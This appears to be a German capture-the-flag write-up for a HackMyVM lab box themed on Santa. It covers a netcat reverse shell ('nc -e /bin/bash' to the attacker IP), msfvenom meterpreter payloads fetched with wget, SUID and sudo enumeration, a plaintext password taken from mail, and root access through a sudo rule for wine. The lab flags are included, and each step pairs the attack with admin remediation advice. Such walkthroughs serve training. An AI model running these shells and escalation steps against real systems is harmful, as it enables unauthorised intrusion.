       /_\ \|-|-|-||-|-|-|| |     || |::(`)::| ||/\ |  `\
      `>/ _\\_|_|_||_|_|_||-|-'|__|| \/`\+/`\/ ||||_____|
      /_/   <-------------' |     ||()\_/Y\_/  ||/  || |
     /  ` \_ ( _  __|-    |_|_  ||   / / \   || =_|| |
    `/_) | _ <`   __        |   = ||  /_/ \_\  ||   || |
     >  /     \  _  _   | -   ||           ||=  || |
    /_/   ( \  `\ _| =__   =|-__|_||-----------||_| || |
   )-._/ _\ _,-('    __.;-'-;__     `"""""""""""    ||`"-._
  '-,._   \__.-`-;''`          ``--'`""'"""`"""``-- `--'--. '
       ```             ``         `""""'""""'"`""".--------

		HMV{f3fda86e428ccda3e33d207217665201}

nc -e /bin/bash 192.168.2.199 9005 
                     

Proof of Concept (Initial Access via Netcat Shell)

Analyse: Dieser POC beschreibt den initialen Zugriff über den unerwartet offenen Port 49344, der eine unauthentifizierte Shell bereitstellt.

Schwachstelle: Ein Dienst läuft auf TCP-Port 49344 und stellt eine ungesicherte Netzwerk-Shell bereit, die sofortigen Zugriff als Benutzer `alabaster` ermöglicht.

Voraussetzungen: Netzwerkzugriff auf Port 49344 des Zielsystems. Ein Tool wie Netcat (`nc`).

Schritte zur Reproduktion:

  1. Identifiziere den offenen Port 49344 (z.B. durch Nmap).
  2. Verbinde dich mit Netcat zum Port: `nc 192.168.2.119 49344`.
  3. Führe Befehle aus (z.B. `id`, `whoami`, `ls`).
  4. (Optional) Etabliere eine stabilere Reverse Shell: Gib in der verbundenen nc-Shell den Befehl `nc -e /bin/bash [IP_Angreifer] [PORT]` ein und starte einen Listener (`nc -lvnp [PORT]`) auf dem Angreifer-System.

Erwartetes Ergebnis: Eine interaktive Shell als Benutzer `alabaster` wird erhalten.

Empfehlung (Admin): **Schließen Sie Port 49344 sofort!** Identifizieren und entfernen Sie den verantwortlichen Dienst. Führen Sie eine vollständige Systemprüfung auf Malware oder unautorisierte Dienste durch. Überwachen Sie Netzwerk-Ports und implementieren Sie eine restriktive Firewall-Policy.

Post-Exploitation Enumeration (as alabaster)

Analyse: Nachdem eine stabilere Reverse Shell als `alabaster` etabliert wurde (Port 9005), werden grundlegende Enumerationsbefehle ausgeführt: `ls /home/`, `grep bash /etc/passwd`, `cat .bash_history` (leer), `cat .selected_editor`.

Bewertung: * `/home` enthält Verzeichnisse für viele Benutzer (`alabaster`, `bill`, `bushy`, `pepper`, `santa`, `shinny`, `sugurplum`, `wunorse`). Dies deutet auf eine Mehrbenutzer-Umgebung hin. * `/etc/passwd` bestätigt die Existenz dieser Benutzer mit `/bin/bash` als Shell. * Die Bash-History ist leer (oder wird nicht gespeichert). * Der bevorzugte Editor ist `nano`. Der wichtigste Fund ist die Liste der anderen Benutzer auf dem System.

Empfehlung (Pentester): Versuche, auf die Home-Verzeichnisse der anderen Benutzer zuzugreifen (Berechtigungen prüfen). Suche nach SUID/GUID-Dateien, Cronjobs, installierter Software und Netzwerkkonfigurationen.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit aller Benutzerkonten. Konfigurieren Sie Berechtigungen für Home-Verzeichnisse restriktiv (standardmäßig `700` oder `750`).

┌──(root㉿cyber)-[~] └─# nc -lvnp 9005
 listening on [any] 9005 ...
 connect to [192.168.2.199] from (UNKNWN) [192.168.2.119] 48122
 id
 uid=1001(alabaster) gid=1001(alabaster) groups=1001(alabaster),100(users)
                     
alabaster@santa:~$ ls /home/
alabaster  bill  bushy  pepper  santa  shinny  sugurplum  wunorse
                    
alabaster@santa:~$ grep bash /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 santa:x:1000:1000:Santa Claus:/home/santa:/bin/bash
 alabaster:x:1001:1001:Alabaster Snowball,,,:/home/alabaster:/bin/bash
 sugurplum:x:1002:1002:Sugarplum Mary,,,:/home/sugurplum:/bin/bash
 bushy:x:1003:1003:Bushy Evergreen,,,:/home/bushy:/bin/bash
 pepper:x:1004:1004:Pepper Minstix,,,:/home/pepper:/bin/bash
 shinny:x:1005:1005:Shinny Upatree,,,:/home/shinny:/bin/bash
 wunorse:x:1006:1006:Wunorse penslae,,,:/home/wunorse:/bin/bash
                     
alabaster@santa:~$ cat .bash_history
# (Keine Ausgabe)
alabaster@santa:~$ cat .selected_editor
 # Generated by /usr/bin/select-editor
 SELECTED_EDITR="/bin/nano"
                     

Analyse: Es wird nach SUID-Dateien (`find`), der Kernel-Version (`uname -a`) und Dateien mit Capabilities (`getcap`) gesucht.

Bewertung: * **SUID:** Findet viele Standarddateien und Snap-Dateien. Kein offensichtlich einfacher Exploit wie `bash -p` sichtbar. `sudo` ist vorhanden. * **Kernel:** Linux 6.2.0-39-generic (Ubuntu). * **Capabilities:** Nur Standard-Capabilities für `ping`, `mtr-packet`, `gst-ptp-helper`. Kein direkter Privesc-Vektor über SUID/Capabilities gefunden. Der Kernel ist relativ aktuell, was die Wahrscheinlichkeit erfolgreicher Kernel-Exploits reduziert.

Empfehlung (Pentester): Prüfe `sudo -l`. Untersuche die Konfiguration von `/opt` oder anderen nicht-standardmäßigen Verzeichnissen. Suche nach Passwörtern in Konfigurationsdateien oder Skripten.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID/GUID-Dateien. Halten Sie den Kernel aktuell.

alabaster@santa:~$ find / -type f -perm -4000 -ls 2>/dev/null
       139    121 -rwsr-xr-x   1 root     root       123560 Feb 22  2023 /snap/snapd/18596/usr/lib/snapd/snap-confine
       297    129 -rwsr-xr-x   1 root     root       131832 Sep 15  2023 /snap/snapd/20290/usr/lib/snapd/snap-confine
       # ... (viele Standard SUIDs von core22 Snap) ...
     15187     20 -rwsr-xr-x   1 root     root        18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1
       843     48 -rwsr-xr-x   1 root     root        47488 Nov 28  2022 /usr/bin/mount
       889     64 -rwsr-xr-x   1 root     root        64152 Nov 23  2022 /usr/bin/passwd
      1129     56 -rwsr-xr-x   1 root     root        55680 Nov 28  2022 /usr/bin/su
     43031    104 -rwsr-sr-x   1 root     mail       105240 Jan  5  2023 /usr/bin/procmail
       686     36 -rwsr-xr-x   1 root     root        35200 Mar 17  2023 /usr/bin/fusermount3
       579     44 -rwsr-xr-x   1 root     root        44760 Nov 23  2022 /usr/bin/chsh
       855     40 -rwsr-xr-x   1 root     root        40664 Nov 23  2022 /usr/bin/newgrp
       573     72 -rwsr-xr-x   1 root     root        72792 Nov 23  2022 /usr/bin/chfn
       702     76 -rwsr-xr-x   1 root     root        76248 Nov 23  2022 /usr/bin/gpasswd
      1130    264 -rwsr-xr-x   1 root     root       269400 Mar  1  2023 /usr/bin/sudo
      1207     36 -rwsr-xr-x   1 root     root        35200 Nov 28  2022 /usr/bin/umount
     29078    144 -rwsr-xr-x   1 root     root       146600 May 29  2023 /usr/lib/snapd/snap-confine
     40973    324 -rwsr-xr-x   1 root     root       330344 Jan  2 16:45 /usr/lib/openssh/ssh-keysign
      1435     36 -rwsr-xr--   1 root     messagebus    34960 Dec  9  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     43491     16 -rwsr-xr-x   1 root     root          14488 Jan 11  2023 /usr/sbin/sensible-mda
                      
alabaster@santa:~$ uname -a
  Linux santa 6.2.0-39-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 14 14:18:00 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
                       
alabaster@santa:~$ getcap -r / 2>/dev/null
  /snap/core22/1380/usr/bin/ping cap_net_raw=ep
  /snap/core22/1033/usr/bin/ping cap_net_raw=ep
  /usr/bin/ping cap_net_raw=ep
  /usr/bin/mtr-packet cap_net_raw=ep
  /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
                       

Analyse: Es werden die Berechtigungen von `/var/www/html` überprüft und der Inhalt von `.htaccess` angezeigt. Anschließend werden die Berechtigungen der Home-Verzeichnisse und die Netzwerk-Listener erneut überprüft.

Bewertung: `/var/www/html` gehört `root`. Die `.htaccess`-Datei enthält eine `RewriteRule`, die Anfragen an `/administration/` auf `/media.html` umleitet (was erklärt, warum `/administration/` nicht direkt zugänglich war, aber auch `media.html` einen 404 lieferte - möglicherweise fehlt `media.html` oder die Regel ist fehlerhaft). Die Home-Verzeichnisse gehören den jeweiligen Benutzern, aber `alabaster` hat keine Leserechte darauf. `ss` bestätigt erneut den Listener für die `nc`-Shell auf Port 49344.

Empfehlung (Pentester): Da der Zugriff auf andere Home-Verzeichnisse nicht möglich ist, suche nach weiteren Informationsquellen. Gibt es Datenbanken? Konfigurationsdateien in `/etc` oder `/var/www`? Überprüfe `/var/mail`.
Empfehlung (Admin): Korrigieren Sie die `.htaccess`-Regel, falls sie fehlerhaft ist oder entfernen Sie sie, wenn sie nicht benötigt wird. Stellen Sie sicher, dass Home-Verzeichnis-Berechtigungen korrekt sind. Schließen Sie den `nc`-Listener auf Port 49344.

alabaster@santa:/opt$ cd /var/www/html/
alabaster@santa:/var/www/html$ ls -la
 total 32
 drwxr-xr-x 2 root root  4096 May  7 10:46 .
 drwxr-xr-x 3 root root  4096 Dec 30 20:32 ..
 -rw-r--r-- 1 root root    73 Jan  1 09:52 .htaccess
 -rw-r--r-- 1 root root  1266 May  7 10:46 index.html
 -rw-r--r-- 1 root root 15289 May  7 10:46 style.css
                       
alabaster@santa:/var/www/html$ cat .htaccess
 RewriteEngine n
 RewriteRule ^administration/(.*)$ /media.html [R=301,L]
                       
alabaster@santa:/var/www/html$ ls -la /home/
 total 40
 drwxr-xr-x 10 root      root      4096 May  7 10:46 .
 drwxr-xr-x 19 root      root      4096 Dec 30 18:55 ..
 drwxr-x---  4 alabaster alabaster 4096 Jan  4 10:35 alabaster
 drwxr-x---  2 bill      bill      4096 May  7 10:46 bill
 drwxr-x---  2 bushy     bushy     4096 Jan  4 13:00 bushy
 drwxr-x---  5 pepper    pepper    4096 Dec 30 20:28 pepper
 drwxr-x---  4 santa     santa     4096 Jan  4 10:30 santa
 drwxr-x---  2 shinny    shinny    4096 Jan  4 13:01 shinny
 drwxr-x---  2 sugurplum sugurplum 4096 Jan  4 12:59 sugurplum
 drwxr-x---  2 wunorse   wunorse   4096 Jan  4 13:02 wunorse
                       
alabaster@santa:/var/www/html$ ss -altpn
 State  Recv-Q  Send-Q   Local Address:Port    Peer Address:Port Process
 LISTEN 0       4096     127.0.0.53%lo:53           0.0.0.0:*
 LISTEN 0       1              0.0.0.0:49344        0.0.0.0:*     users:(("nc",pid=2893,fd=3))
 # ... (weitere nc Listener auf 49344) ...
 LISTEN 0       100          127.0.0.1:8461         0.0.0.0:*
 LISTEN 0       10           127.0.0.1:25           0.0.0.0:*
 LISTEN 0       4096        127.0.0.54:53           0.0.0.0:*
 LISTEN 0       10           127.0.0.1:587          0.0.0.0:*
 LISTEN 0       511                  *:80                 *:*
 LISTEN 0       4096                 *:22                 *:*
                       

Credential Discovery (Mail)

Analyse: Das Mail-Verzeichnis `/var/mail/` wird untersucht. Die Mailbox für den Benutzer `alabaster` ist vorhanden und lesbar.

Bewertung: Die Mailbox von `alabaster` enthält eine E-Mail von `santa@santa.hmv`. **Diese E-Mail enthält das Klartext-Passwort für den Benutzer `bill`:** `JingleBellsPhishingSmellsHackersGoAway`. Ein kritischer Fund für Lateral Movement.

Empfehlung (Pentester): Verwende die gefundenen Credentials (`bill` / `JingleBellsPhishingSmellsHackersGoAway`), um dich per SSH (Port 22) anzumelden.
Empfehlung (Admin): **Senden Sie niemals Passwörter per E-Mail!** Schulen Sie Benutzer im sicheren Umgang mit Anmeldedaten. Sichern Sie Mailboxen mit korrekten Berechtigungen (normalerweise nur für den Benutzer und `mail`-Gruppe lesbar).

alabaster@santa:/var/www/html$ cd /var/mail/
alabaster@santa:/var/mail$ ls -la
 total 12
 drwxrwsrwt  2 root      mail 4096 May  7 10:46 .
 drwxr-xr-x 14 root      root 4096 Dec 30 20:32 ..
 -rw-rw----  1 alabaster mail 1254 May  7 10:46 alabaster
 -rw-------  1 root      mail    0 Jan  4 10:41 root
                     
alabaster@santa:/var/mail$ cat alabaster
 From santa@santa.hmv  Tue May  7 10:46:01 2024
 Return-Path: 
 Received: from santa.speedport.ip (localhost [127.0.0.1])
	by santa.hmv (8.17.1.9/8.17.1.9/Debian-2) with ESMTP id 447Ak1m9000988
	for ; Tue, 7 May 2024 10:46:01 GMT
 Received: (from santa@localhost)
	by santa.speedport.ip (8.17.1.9/8.17.1.9/Submit) id 447Ak17G000987;
	Tue, 7 May 2024 10:46:01 GMT
 From: santa@santa.hmv
 Message-Id: <202405071046.447Ak17G000987@santa.speedport.ip>
 X-Authentication-Warning: santa.speedport.ip: santa set sender to santa@santa using -f
 Subject: Important update about the hack
 To: 
 User-Agent: mail (GNU Mailutils 3.15)
 Date: Tue,  7 May 2024 10:46:01 +0000

 Dear Alabaster,

 As you know our systems have been compromised. You have been assigned to restore all
 systems as soon as possible.

 I heard you have kicked out the Naughty Elfs so they cannot come back into the system.
 To be more secure we have hired Bill Gates.

 His account has been created and ready to logon. When Bill arrives, tell him his

 username is 'bill'. The password has been set to: 'JingleBellsPhishingSmellsHackersGoAway'

 He will know what to do next.

 Please help Bill as much as possible so Christmas can go on!

 - Santa
                     

Lateral Movement (SSH as bill)

Analyse: Mit den in der E-Mail gefundenen Credentials wird eine SSH-Verbindung als Benutzer `bill` aufgebaut.

Bewertung: Der SSH-Login ist **erfolgreich**. Lateral Movement zum Benutzer `bill` wurde erreicht.

Empfehlung (Pentester): Führe Enumeration als `bill` durch, insbesondere `sudo -l`.
Empfehlung (Admin): Passwörter niemals per E-Mail versenden. Passwort für `bill` ändern.

┌──(root㉿cyber)-[~] └─# ssh bill@santa.hmv
 The authenticity of host 'santa.hmv (192.168.2.119)' can't be established.
 ED25519 key fingerprint is SHA256:J/3611owRnj8DM94b4MrwaA608xl6Yad0kFKxVmBe4.
 This key is not known by any other names.
 Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 Warning: Permanently added 'santa.hmv' (ED25519) to the list of known hosts.
 bill@santa.hmv's password: JingleBellsPhishingSmellsHackersGoAway
 Welcome to Ubuntu 23.04 (GNU/Linux 6.2.0-39-generic x86_64)
 # ... (Login Banner) ...
 $ id
 uid=1007(bill) gid=1007(bill) groups=1007(bill)
 $
                     

Privilege Escalation Enumeration (as bill)

Analyse: Als Benutzer `bill` wird die Shell mit Python stabilisiert und dann `sudo -l` ausgeführt, um die sudo-Berechtigungen zu überprüfen.

Bewertung: **Kritischer Fund!** Der Benutzer `bill` darf den Befehl `/usr/bin/wine` **als jeder Benutzer (`ALL`) ohne Passwort (`NOPASSWD`)** ausführen. Dies ist ein sehr gefährliches Recht, da `wine` (ein Kompatibilitätslayer zum Ausführen von Windows-Programmen unter Linux) oft missbraucht werden kann, um Befehle im Kontext des Zielbenutzers (hier potenziell `root`) auszuführen.

Empfehlung (Pentester): Nutze die `sudo wine`-Berechtigung zur Privilege Escalation. Erstelle eine Windows-Payload (z.B. eine EXE-Datei mit einer Reverse Shell oder einem Befehl zum Hinzufügen eines SUID-Bits zu `/bin/bash`) mit `msfvenom`. Lade die Payload auf das Zielsystem hoch. Führe sie mit `sudo /usr/bin/wine payload.exe` aus.
Empfehlung (Admin): **Entfernen Sie diese sudo-Regel sofort!** Es ist extrem unsicher, `wine` mit sudo-Rechten ausführen zu lassen. Gewähren Sie sudo-Rechte nur für spezifische, notwendige Befehle und niemals ohne Passwort, es sei denn, es ist absolut unvermeidbar und gut begründet.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bill@santa:~$ id
 uid=1007(bill) gid=1007(bill) groups=1007(bill)
                     
bill@santa:~$ sudo -l
 Matching Defaults entries for bill on santa:
     env_reset, mail_badpass,
     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
     use_pty

 User bill may run the following commands on santa:
     (ALL) NOPASSWD: /usr/bin/wine
                      

Privilege Escalation (Sudo Wine Exploit)

Analyse: Es werden Versuche unternommen, die `sudo wine`-Berechtigung auszunutzen. 1. Eine Linux-ELF-Reverse-Shell (`rev.elf`) wird mit `msfvenom` erstellt. 2. Sie wird per `wget` auf das Ziel geladen. 3. Der Versuch, sie mit `sudo -u root wine rev.elf` auszuführen, scheitert, weil `wine32` fehlt und `wine` keine Linux-ELFs ausführen kann. 4. Der Versuch, `cmd.exe` mit `sudo /usr/bin/wine cmd` zu starten, gelingt und öffnet eine Windows-ähnliche Kommandozeile (`Z:\home\bill>`). 5. Weitere Versuche, Windows-EXE-Payloads (`reverse.exe`, `rex.exe`) zu erstellen, hochzuladen und mit `sudo wine ...` auszuführen, scheitern ebenfalls (Fehler C0000135, Stack Overflow), möglicherweise aufgrund von Architektur-Inkompatibilitäten (x86 vs. x64), fehlenden Abhängigkeiten oder Problemen mit der Wine-Umgebung.

Bewertung: Die direkten Versuche, eine Reverse Shell über `sudo wine payload.exe` zu bekommen, scheitern an der unvollständigen/fehlerhaften Wine-Installation (`wine32` fehlt). Der erfolgreiche Start von `cmd.exe` via `sudo wine cmd` ist jedoch der Schlüssel: Er beweist, dass **Windows-Befehle als root ausgeführt werden können.**

Empfehlung (Pentester): Nutze die `sudo wine cmd`-Sitzung, um Root-Rechte zu erlangen. Da du in einer Windows-ähnlichen Umgebung bist, die als Linux-Root läuft, kannst du versuchen: * Linux-Dateien zu manipulieren (z.B. `type Z:\etc\shadow`, `echo ... >> Z:\root\.ssh\authorized_keys`). * Windows-Befehle auszuführen, die indirekt zu Root führen könnten (z.B. Kopieren einer SUID-fähigen Shell). Der einfachste Weg ist oft, eine Linux-Shell aus der Wine-CMD-Shell zu starten oder direkt Linux-Dateisystemoperationen durchzuführen.
Empfehlung (Admin): **Entfernen Sie die `sudo wine`-Regel.** Installieren Sie `wine` nicht auf Servern, wenn es nicht unbedingt benötigt wird. Falls doch, stellen Sie sicher, dass es nicht mit erhöhten Rechten ausgeführt werden kann.

┌──(root㉿cyber)-[~] └─# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.199 LPORT=9001 -f elf > rev.elf
 [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
 [-] No arch selected, selecting arch: x86 from the payload
 No encoder specified, outputting raw payload
 Payload size: 123 bytes
 Final size of elf file: 207 bytes
                      
bill@santa:~$ wget 192.168.2.199/rev.elf
 --2024-05-07 12:03:38--  http://192.168.2.199/rev.elf
 Connecting to 192.168.2.199:80... connected.
 HTTP request sent, awaiting response... 200 K
 Length: 207 [application/octet-stream]
 Saving to: ‘rev.elf’
 rev.elf             100%[===================>]     207  --.-KB/s    in 0s
 2024-05-07 12:03:38 (56.8 MB/s) - ‘rev.elf’ saved [207/207]
                      
┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
bill@santa:~$ sudo -u root wine rev.elf
 it looks like wine32 is missing, you should install it.
 multiarch needs to be enabled first.  as root, please
 execute "dpkg --add-architecture i386 && apt-get update &&
 apt-get install wine32:i386"
 0050:err:winediag:nodrv_CreateWindow Application tried to create a window, but no driver could be loaded.
 0050:err:winediag:nodrv_CreateWindow L"The explorer process failed to start."
 0050:err:systray:initialize_systray Could not create tray window
 # (Keine Shell erhalten)
                      
bill@santa:~$ sudo /usr/bin/wine cmd
  it looks like wine32 is missing, you should install it.
  multiarch needs to be enabled first.  as root, please
  execute "dpkg --add-architecture i386 && apt-get update &&
  apt-get install wine32:i386"
  0050:err:winediag:nodrv_CreateWindow Application tried to create a window, but no driver could be loaded.
  0050:err:winediag:nodrv_CreateWindow L"The explorer process failed to start."
  0050:err:systray:initialize_systray Could not create tray window
  Microsoft Windows 6.1.7601

  Z:\home\bill>
                       
 Funktioniert alles nicht....
                       

Proof of Concept (Privilege Escalation via Sudo Wine)

Analyse: Nachdem die direkten Payload-Ausführungen mit `sudo wine payload.exe` fehlschlugen, wird der alternative Weg über `sudo wine cmd` genutzt. Innerhalb der gestarteten Windows-Kommandozeile (`cmd.exe`), die als Linux-Root läuft (da mit `sudo` gestartet), wird in das Linux-Root-Verzeichnis (`Z:\root`) navigiert und die Datei `root.txt` mit dem Windows-Befehl `type` ausgelesen.

Schwachstelle: Unsichere `sudo`-Regel erlaubt Benutzer `bill` das Ausführen von `/usr/bin/wine` als `root` ohne Passwort. `wine cmd` startet eine Windows-Shell, die aber im Kontext des Linux-Root-Benutzers läuft und somit Zugriff auf das gesamte Linux-Dateisystem hat.

Voraussetzungen: SSH-Zugriff als Benutzer `bill`. Die unsichere `sudo`-Regel für `wine`.

Schritte zur Reproduktion:

  1. Melde dich per SSH als `bill` an.
  2. Führe `sudo /usr/bin/wine cmd` aus.
  3. Du befindest dich nun in einer Windows-ähnlichen Shell (`Z:\... >`), die aber als Linux-Root läuft.
  4. Navigiere zum Linux-Root-Verzeichnis: `cd Z:\root` (oder nur `cd /root` in manchen Wine-Versionen).
  5. Liste den Inhalt auf: `dir`.
  6. Lese die Root-Flag: `type root.txt`.

Erwartetes Ergebnis: Die Windows-Shell wird als Root gestartet, Navigation im Linux-Dateisystem ist möglich, und der Inhalt von `/root/root.txt` kann gelesen werden.

Empfehlung (Admin): **Entfernen Sie die `sudo wine`-Regel.** Überprüfen Sie alle `sudo`-Regeln auf ähnliche unsichere Konfigurationen. Gewähren Sie `sudo`-Rechte nur nach dem Prinzip der geringsten Rechte.

Z:\home\bill>cd /root
Z:\root>dir
 Volume in drive Z has no label.
 Volume Serial Number is 4afb-ec36

 Directory of Z:\root

   1/4/2024  12:25 PM           .
 12/30/2023   6:55 PM           ..
 12/30/2023   8:10 PM         3,130  root.txt
 12/30/2023   7:16 PM           snap
        1 file                     3,130 bytes
        3 directories      1,049,489,408 bytes free
                      
Z:\root>type root.txt
                                ..,,,,,,,,,,,,,,..
                         ..,,;;;;;;;;;;;;;;;;;;;;;;;;;;;,,.
                     .,::::;;;;aaaaaaaaaaaaaaaaaaaaaaaaaaa;;,,.
                 .,;;,:::a@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@a,
               ,;;;;.,a@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@a
            ,;;;;%;.,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@a,
         ,;%;;;;%%;,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
      ,;;%%;;;;;%%;;@@@@@@@@@@@@@@@@@'%v%v%v%v%v%v%v%v%v%v%v%v`@@@@@@@@@
    ,;;%%;;;;:;;;%;;@@@@@@@@@'%vvvvvvvvvnnnnnnnnnnnnnnnnvvvvvv%`@@@@'
   ,;%%;;;;;:;;;;;;;;@@@@@'%vvva@@@@@@@@avvnnnnnnnnnnvva@@@@@@@ov,
  ,;%;;;;;;:::;;;;;;;@@'%vva@@@@@@@@@@@@vvnnnnnnnnvv@@@@@@@@@@@ov
  ;%%;;;;;;:::;;;;;;;;'o%vvn@@%nvvvvvvvv%nnnnnnnnnnnnn%vvvvvvnn%@v
  ;;;;;;;;;:::;;;;;;::;o%vvnnnn>>nn.   `nnnnnnnnnnnn>>nn.   `nnnvv'
  ;;;;;;;;;:::;;;;;;::;o%vvnnvvmmmmmmmmmmvvvnnnnnn;%mmmmmmmmmmmmvv,
  ;;;;;;;;;:::;;;;;;::;o%vvmmmmmmmmmmmmmmmmmvvnnnv;%mmmmmmmmmmmmmmmv,
  ;;;;;;;;;;:;;;;;;::;;o%vmmmmnnnnnnnnnnnnmmvvnnnvmm;%vvnnnnnnnnnmmmv
   `;%;;;;;;;:;;;;::;;o@@%vvmmnnnnnnnnnnnvnnnnnnnnnnmmm;%vvvnnnnnnmmmv
    `;;%%;;;;;:;;;::;.o@@%vmmnnnnnnnnnvv%;nnnnnnnnnmmm;%vvvnnnnnnmmv'
      `;;;%%;;;:;;;::;.o@@%vvnnnnnnnnnnnvv%;nnnnnnnmm;%vvvnnnnnnnv%'@a.
       a`;;;%%;;:;;;::;.o@@%vvvvvvvvvvvvvaa@@@@@@@@@@@@aa%%vvvvv%%@@@@o.
      .@@o`;;;%;;;;;;::;,o@@@%vvvvvvva@@@@@@@@@@@@@@@@@@@@@avvvva@@@@@%,
     .@@@@@o`;;;;;;;;::;o@@@@@@@@@@@@@@@@@@@@"""""""@@@@@@@@@@@@@@@@@@a
   .@@@@@@@@@o`;;;;;;:;o@@@@@@@@@@@@@@@@"           "@@@@@@@@@@@@@@o@@@,
  .@@@@o@@@@@@@o`;;;;:;o,@@@@@@@@@@%vvvvvvvvvvvvvvvvvv%%@@@@@@@@@o@@@@@,
  @@@@o@@@@@@@@@o;::;'oooooooooo%vvvvvvvvvvvvvv%ooooooooo@@@@@@,
  @@@o@@@@@@@@@a@@@@@a,oooooooooooooo@@@@o@@@
  @@@o@@@@@@@a@@@@@@@@o,o@@@@@@@@@@@@@@@@@@@@@@@@@@@@o@@@
  @@@o@@@@@@@@@@@@@@@@@,o@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@o@@@
  @@@@o@@@@@@@@@@@@@@@@,o@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@o@@@@@@@@@@@@@
  @@@@@o@@@@@o@@@@@@@'o@@@@@@@@o@@@@@@@@@@@@@@@@@@@@o@@@@@@@@@@@@a
 `@@@@@@@@@@o`'o@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@o@@@@@@@@@@@@
  `@@@@@@@@@@oooooooo@@@@@@@@@@@@@@@@@@@@@@@@@@o@@@@@@@o@@@@@@o@@@@
    `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@o@@@@@@@@@@@@@@o@@@'
       `@@`@@@@@@@@@@@@@@@@@@@o@@@@@@@@@@@@@@@@@@@@@@o@@@@@@@@@@@@@@@@@@'
         `@ @@@@@@@@@@@@@@@@@@@o@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'@@'
            `@@@@@@@@@@@@@@@@@@o@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ a'
                `@@@@@@@@@@@@@@o@@@@@@@@@@@@@@@@@@@@@@@@o@@@@@@@@'
                   `@@@@@@@@@@@o@@@@@@@@@@@@@@@@@@@@@@@@@o@@@@'
                       `@@@@@@o@@@@@@@@@@@@@@@@@@@@@@@'o@@'
                           `@@@@@@@@o@@@@@@@@@@@@@@@@@ a'
                               `@@@@@o@@@@@@@@@@@@@@' '
                                 '@@@o'`@@@@@@@@'
                                  @'   .@@@@'
                                      @@'
                                    @'

                 HMV{67df9276f8aaa3f9f50b3e41fe5cbc53}
                       

Flags

cat /home/alabaster/user.txt
HMV{f3fda86e428ccda3e33d207217665201}
type Z:\root\root.txt
HMV{67df9276f8aaa3f9f50b3e41fe5cbc53}